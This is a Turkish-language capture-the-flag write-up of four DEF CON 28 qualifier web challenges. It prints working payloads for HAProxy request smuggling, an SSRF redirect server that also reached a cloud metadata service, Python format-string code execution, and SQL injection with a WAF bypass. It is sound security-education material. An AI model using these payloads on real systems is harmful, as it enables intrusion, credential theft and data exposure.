Defcon 28, 2020 Web Soruları

Uploooadit

Uploooadit fikir olarak çok basit bir web sunucusu: X-guid header’ı ve bir guid ile istek atıyorsunuz, post data gönderiyorsunuz, sunucu da bu dosyayı kaydediyor, sonrasında uploooadit/files/{guid} adresinden bu dosyayı görebiliyorsunuz.

@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)

Öncelikle burp ile repeater’a gönderip birkaç dosya gönderiyoruz, suları test ediyoruz. Bu sırada da via: haproxy header’ını görüyoruz:

HTTP/1.1 201 CREATED
Server: gunicorn/20.0.0
Date: Sat, 16 May 2020 09:32:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Via: haproxy
X-Served-By: ip-10-0-1-54.us-east-2.compute.internal

Haproxy’nin eski versiyonları meşhur bir şekilde HTTP Desync zafiyetinden etkileniyor. Bu zafiyeti eski versiyonlarda engellemek mümkün, fakat default olan bir ayarı değiştirmek gerekiyor.

Eğer desync edeceksek, bu senaryoda yapması mantıklı olan şey başkasının requestine headerlarımızı eklemek, eğer kendi x-guid header’ımızı verirsek, o adrese gidip, gönderilen isteği oradan okuyabiliriz.

Request Smuggling Nasıl olur

Request smuggling’in ortaya doğuş noktası iki sunucu olan reverse proxy olan setup’larda, bu sunuculardan birisinin content-length başlığını dikkate alırken, diğerinin transfer encoding başlığını dikkate alması. Bu şekilde iki sunucu arasında desenkronizasyon yaratarak hangi request’in nerede başlayıp nerede bittiğini farklı yorumlamalarına neden olabiliyoruz

Content-length

Content length header’ı, isteğin gövdesinin kaç byte olduğunu verir. Sunucu bu limiti doldurduktan sonra, connection: close header’ı mevcut ise gönderilen ek veriyi kabul etmez. Eğer bu header mevcut değilse, kalan veriyi yeni bir http isteği gibi yorumlar.

Transfer-Encoding: chunked

Chunked transfer sırasında, veri bloklara bölünerek gönderilir. Aşağıdaki veri:

7
Mozilla
9
Developer
7
Network
0

Şu şekilde birleştirilir:

MozillaDeveloperNetwork

Fakat transfer-encoding header’ını dikkate almayan bir sunucu, bunu olduğu gibi kabul edecektir.

CL-TE karışıklığı

Eğer bizim gönderdiğimiz istek herhangi bir şekilde farklı uzunluklarda yorumlanabilirse, bizim isteğimizden artan kısım, bir sonraki genel isteğin başına eklenecektir.

Eğer iki sunucu da Transfer-Encoding başlığını dikkate alıyorsa, bizim için hala umut var. Çünkü bu başlığı herhangi bir şekilde değiştirirsek (yeni satır eklemek, tab eklemek, null eklemek, vertical tab eklemek vs) ve sunuculardan sadece birisi bunu doğru yorumlayamazsa, bu sefer tekrar şansımız var demek.

Payload Oluşturma

Bunları dikkate alarak olası payload’larımızı oluşturuyoruz:

CL:TE

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Transfer-Encoding: chunked
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba62
Content-Length: 173
Content-Type: text/plain
Connection: close

0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba61
Content-Length: 25
Content-Type: text/plain
Connection: close


TE.CL:

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Transfer-Encoding: chunked
x-guid:     6ca02e18-c1b7-4033-8330-b8d87356ba62
Content-Length: 4
Content-Type: text/plain
Connection: close

a6
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba61
Content-Length: 25
Content-Type: text/plain
Connection: close

0

TE.TE ilk sunucuda t-e header’ını invalidate edip cl.te ye dönüştürerek

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Transfer-Encoding:    xchunked
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba62
Content-Length: 173
Content-Type: text/plain
Connection: close

0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba61
Content-Length: 25
Content-Type: text/plain
Connection: close


TE.TE ikinci sunucu -> te.cl dönüştürme:

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Transfer-Encoding: xchunked
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba62
Content-Length: 4
Content-Type: text/plain
Connection: close

a6
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba61
Content-Length: 25
Content-Type: text/plain
Connection: close

0

Doğru Payload

Sonunda, haproxy’nin header’ı doğru yorumlamasını engelleyip TE-TE —> CL-TE tipi desync saldırısı yapabiliyoruz. Bunu yapmak için gereken Transfer-Encoding: den sonra vertical tab eklemek (\t değil, 0x0b)

Payload:

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Transfer-Encoding:
 chunked
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba62
Content-Length: 157
Content-Type: text/plain

0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba61
Content-Length: 25
Content-Type: text/plain


Aşağıdaki gibi, başka bir isteğin ilk 25 karakteri alttaki requestin guid’ine yazıldı.

Bunun nedeni, alttaki bloğun yeni bir istekmiş gibi yorumlanıp, sonraki isteğin ise bunun post data’sı gibi kabul edilmesi ve content-length kadar kısmının yakalanması.

Bunun üzerine tek yapmamız gereken doğru content length’i bulmak, istekten daha büyük verirsek, asla sonuç alamayız, o yüzden tam nokta atışı yapmak önemli.

Content length’i biraz daha arttırınca ve tüm headerları alınca, yakaladığımız istek böyle oluyor:

POST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: d46d3074-7cec-41f1-8ff2-47d8bb8fe72b
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{

Burda belirtildiği gibi content length 152. Bunun üzerine header’ların uzunluğunu da ekleyip, doğru content-length’i 387 olarak bulmak mümkün

Request:

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Transfer-Encoding:
 chunked
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba62
Content-Length: 157
Content-Type: text/plain
0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
x-guid: 6ca02e18-c1b7-4033-8330-b8d87356ba61
Content-Length: 387
Content-Type: text/plain



Response:

POST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: f2c40ce4-c22d-4969-95af-ad79c68557c2
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

POOOT (unintended)

POOOT, bir http anonim proxy servisi idi. Bir url yazıyorsunuz, sizin yerinize o url’e gidip size yanıtı getiriyordu. Oradaki linkleri, tekrar pooot kullanacak şekilde değiştiriyordu.

Dirbuster kullandığımızda 2 uzantı buluyorduk, /source ve /feedback.

Source, programın kaynak kodunu içeriyordu, ve redis olduğuna işaret ediyordu. Buna ek olarak flask secret var tabi.

app.config['SECRET_KEY'] = '\x1d\x07U\xcc\x04]\x9b=d&=>Z\xd6[\x08\xc5\xe2\x9a8R\x17\x06f'
REDIS_IP=os.environ.get("REDIS_IP")
redis_conn = Redis(host=REDIS_IP, port=6379, db=0)

Aşağıda, bir bağlantıya gidilirken verilen adresin nasıl işlendiği yer alıyor.

Eğer verilen adres ip adresi ise, http olarak istek atıyor. Fakat bu ip internal ip ise, 400 hatası geri döndürüyor.

def proxy(domain, path=''):
  protocol = "https"
  if request.headers.getlist("X-Forwarded-For"):
    client_ip = request.headers.getlist("X-Forwarded-For")[0]
  else:
    client_ip = request.remote_addr

  if isIP(domain):
    protocol = "http"
    if not client_ip.startswith("172.25.0.11"):
      app.logger.error(f"Internal IP address {domain} from client {client_ip} not allowed." )
      return "Internal IP address not allowed", 400

  try:
    app.logger.info(f"Fetching URL: {protocol}://{domain}/{path}")
    response = get(f'{protocol}://{domain}/{path}', timeout=1) 
  except:
    return "Could not reach this domain", 400

İlk öncelikle 172.25.0.11 adresinde çalışan bir servis var mı bakmak için bu adresi kendi subdomainime A record olarak ekledim.

Fakat bu her ne kadar iç ağ kontrolünü atlıyor olsa da, yukarıdaki kodda eğer bir ip verilmiyorsa bağlantı protokolü https olarak atanıyor. Bu yüzden isteğimizi iç ağa yönlendirebilsek bile farklı CNAME’den dolayı sertifika kabul edilmeyecektir, ve ulaşamıyoruz.

Fakat bu kodda defcon yazarlarının düşünmediği bir çözüm daha var.

Kod, bütün kontrolleri yaptıktan sonra internal değil ise request.get atıyor. Fakat request.get, default olarak sayfa yönlendirmelerini kabul ediyor.

Yani biz buradan kendi sitemize girip, kendi sitemizi de internal’a redirect edebilirsek, başarılı olacağız demek.

Basit bir nginx rewrite kuralı yazılarak yapılabilir, fakat geliştirmeyi hızlandırmak adına ngrok kullanıp flask ile bir uygulama yazmayı tercih ettim:

from flask import (
    Flask,
    Response,
    send_from_directory,
    render_template,
    request,
    flash,
    redirect,
)

app = Flask("__main__")

import re

global last_addr
last_addr= ''


@app.route("/<path:path>", methods=["GET", "POST"])
def index(path):
    global last_addr
    print(f"path={path}")
    test = re.match(r"^[a-z0-9:\-.]+\.[a-z0-9:\-.]+/", path)
    if(test):
        print(f"new ip: {test.group(0)}")
        last_addr=test.group(0);
    else:
        path = last_addr+path
    x = f"http://{path}"
    print("redir to ={}".format(x))
    return redirect(x)


if __name__ == "__main__":
    app.run(port=8080)

Bunun üzerine iç ağı fuzzlayıp, 172.25.0.102:3000 adresinde flag buluyorduk.

POOOT - BONUS

Dedik ki madem ssrf atabiliyoruz, madem Google Cloud platform kullanıyorlar, gcp internal metadata server’ına istek atalım ve metadata okuyalım:

Hackpack-ctf-2020? mi?

Çok bunun üzerine yine metadata sunucusundan google internal adresimize baktık, birkaç bilgi daha topladık.

İç ağ adresimizin 10.128.0.6 olması çok garip, çünkü google cloud platform proje içerisinde yeni bir compute engine başlatınca onu 10.128.0.2 adresine koyuyor. Acaba bu ağda diğer sorular var da intended çözüm ile gcp metadata sunucusuna ulaşamamız mı gerekiyordu?

Evet, gerçekten hackpack-2020’nin ctfd makinesi ile aynı ağda idik.

DOGOOOS

Dogooos, flask kullanan bir blog sitesiydi, ve kaynak koduna sahiptik.

Kaynak kodunda sql komutları düzgün yazılmıştı, ve herhangi bir sqli mümkün değildi.

Böyle bir uzantı vardı:

@app.route("/dogooo/runcmd", methods=["GET","POST"])
def run_cmd():
    cmd = request.form.get('cmd')
    if not cmd or cmd == "":
        cmd = "ls -la /tmp".split(" ")
    print(f"here {cmd}")
    import subprocess
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = p.communicate()
    print("STDOUT:")
    print(stdout)
    return stdout

Fakat kullanılan seccomp’dan dolayı bunu kullanmak mümkün değildi

@postfork
def start_seccomp():
    print("Starting up Seccomp")
    ALLOW = seccomp.ALLOW

    f = seccomp.SyscallFilter(defaction=seccomp.KILL)

    f.add_rule(ALLOW, "open")
    f.add_rule(ALLOW, "read")
    f.add_rule(ALLOW, "write")
    #   f.add_rule(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
    f.add_rule(ALLOW, "exit")
    #    f.add_rule(ALLOW, "rt_sigaction")
    f.add_rule(ALLOW, "brk")
    ...

    # afterr accept
    f.add_rule(ALLOW, "recvfrom")
    f.add_rule(ALLOW, "sendto")
    f.add_rule(ALLOW, "getrandom")
    f.add_rule(ALLOW, "shutdown")
    ...

    f.load()
    print("Seccomp startup complete")

Format string bug

Bir template engine kullanmıyordu, bu yüzden ssti’da olmayacağını düşünmüştük. Templating işinin büyük kısmını fstringler ile hallediyordu, ve ilk bakışta herhangi bir sıkıntı yok gibi duruyordu.

Fakat bir posta yorum atarken preview edilme kısmında aynı yorumun iki kez formatlandığını gördük, bu da format string üzerinden bilgi toplayabilmemizi sağladı.

Sorun alttaki satırda kaynaklanıyordu:

fmt_cmt = cmt.comment.format(rating=self.__dict__)

Biz de yorum olarak {rating} verdik.

Bu şekilde yazar ismini demidog olarak okuyabildik, fakat şifresi wordlistimizde yukarılarda yoktu, biz de sunucuda stres yaratmamaya karar verdik ve devam ettik.

En son şu şekilde yazar şifresini okuyabiliyorduk:

{rating[comments][0].__init__.__globals__[post_results]}
((20, "This is Duffy. If you look closely, you can see exactly where the mud attacked him. Fortunately for the mud, there were no witnesses. 12/10 let's get you cleaned pup", 2, 12, 'images/img_20.jpg', 2, 'demidog', 'princesses_password'),)

Sonrasında bu kullanıcı ile giriş yapabiliyorduk.

Authenticated format string bug

Giriş yaptıktan sonra yeni kullanıcı yaratabiliyorduk. Yeni kullanıcı yaratarak, kaynak kodundaki 2. format string hatasını abuse edebildik.

Login yaptığımızda bunu yapıyordu ve user.get_user_info()yu formatlıyordu

if user is not None:
    login_user(user)
    return redirect(request.host_url[:-1] + f"/dogooo/show?message=Welcom+back+{user.get_user_info()}")

Get user info ise sadece username’imizi returnlüyordu.

def get_user_info(self):
    return f(self.username)

Biz eğer kullanıcı adımız olarak {open('/flag').read()} verirsek, bu parantezler escape edilmediği için içerideki string python kodu gibi çalıştırılacaktır.

POST /dogooo/user/create HTTP/1.1
Host: dogooos.challenges.ooo:37453
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dogooos.challenges.ooo:37453
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dogooos.challenges.ooo:37453/dogooo/user/create
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=.eJwlzj0KwzAMQOG7eO5gS5Yj5TLB-iOFTgmdSu9eQ7dvefA-5cgr7rPsOV93PMrx9LIXqy15w8qC1NJCB7AG0GygXj0nKzATL6IMq5vMScQ4R0_okWmdHdO3VUmK1w4EKHXQYioauHWiyMbRK9MwJHBXU0ixpmWNvO-4_jdQvj8FhjAj.XsKnRw._u8Fe3hqj6HGTMFKK9NS_Xx-Qew
Connection: close

username={open('/flag').read()}&password=1234

OOONLINE

OOONLINE, basit bir online ders uygulaması idi. Kayıt olup giriş yapınca bu şekilde bir sayfa bizi karşılıyordu.

Derslerden bir tanesinde geçmemiz gereken bir assignment var idi.

Assignment Halt, who goes there? for class Decidability
In this assignment you will write a C program that decides if the given Python3 program on the given program halts or not.

Input
JSON will be sent to the standard input of your program. The program field will have the Python3 program, and the input field will have the standard input of the program.

Output
Your program must output HALT (without quotes) if the program halts, or DOES NOT HALT (without quotes) if the program does not halt.

Examples
If your program is given the following input:

{"program": "print(\"hello world\")", "input": "testing"}
It should output:

HALT
If your program is given the following input:

{"program": "user = input()\nif user == \"hello\":\n    while True:\n        pass\n", "input": "testing"}
It should output:

HALT
If your program is given the following input:

{"program": "user = input()\nif user == \"hello\":\n    while True:\n        pass\n", "input": "hello\n"}
It should output:

DOES NOT HALT
Implementation
Upload your C program.

Evaluation
Your program will need to pass all the test cases for credit. Successful submissions will receive the flag.


Your Submissions

Bir c kodu verebiliyorduk, bu compile edilip çalıştırılıyordu ve eğer dersi geçersek flag’i alıyorduk.

Yazdığımız kod çalıştırılmasına rağmen yine seccomp ile sandbox’lıydı, ve herhangi işe yarar bir şey yapamıyorduk.

SQLI

Tekrar incelediğimizde, register kısmında sqli olduğunu farkettik.

Sayfanın dinamik yapısı, tekrar aynı kullanıcı ismi ile denenince yine sql hatası alınması vs nedeni ile sqlmap kullanamadık. Onun yerine elle getirmemiz gerekiyordu.

Alttaki şekilde ilk başarılı vs sql hatası vermeyen injection’ımızı alabildik:

{"name":"asasdfasdd',pg_sleep(10))--,'","passwd":"sadasdasda"}

Bunun üzerine olan denemelerimizde 403 hatası aldık, ve farkettik ki boşluk olduğunda waf’a takılıyordu.

Biz de \t karakteri ile boşluk waf’ını bypass ettik.

Daha sonrasında information_schema üzerinden table isimlerini, column isimlerini çekmemiz gerekiyordu. RETURNING komutunu kullanarak, blind sqli’yi normal sqli’ye upgrade edebiliyorduk, tek sıkıntımız satırları tek tek çekiyor olmasıydı.

{"name":"hello123546576',(select\ttable_name\tfrom\tinformation_schema.tables))\tRETURNING\tid,\tpassword--,'","passwd":"sadasdasda"}

Yukarıdaki payload’ı aşağıdaki şekilde, battering ram modunda burp intruder’a atarak tablo isimlerini aldık.

{"name":"snowflake-1231264532§0§',(select\ttable_name\tfrom\tinformation_schema.columns\tlimit\t1\toffset\t§1§))\tRETURNING\tid,\tpassword--,'","passwd":"sadasdasda"}

Daha sonrasında tablodan admin:zKSTznZYGD bilgilerini bulup bunun üzerinden giriş yapabiliyorduk, ve bu şekilde admin oluyorduk. Bu şekilde tüm submissionları görebiliyorduk, sorularımızı test eden binary’yi görebiliyorduk.

Aşağıdaki gibi tüm user’ları dumplayabiliyorduk:

Kendi ödev sonucumuzu değiştirmeyi denedik, fakat update ve insert waf’a takıldığı için yapamıyorduk.

Yarışma bittiğinde gördük ki herkes veritabanından çözümü yapan birisinin hesabına girip o şekilde bayrağı almış, fakat ilk çözen nasıl çözmüş henüz bilmiyoruz.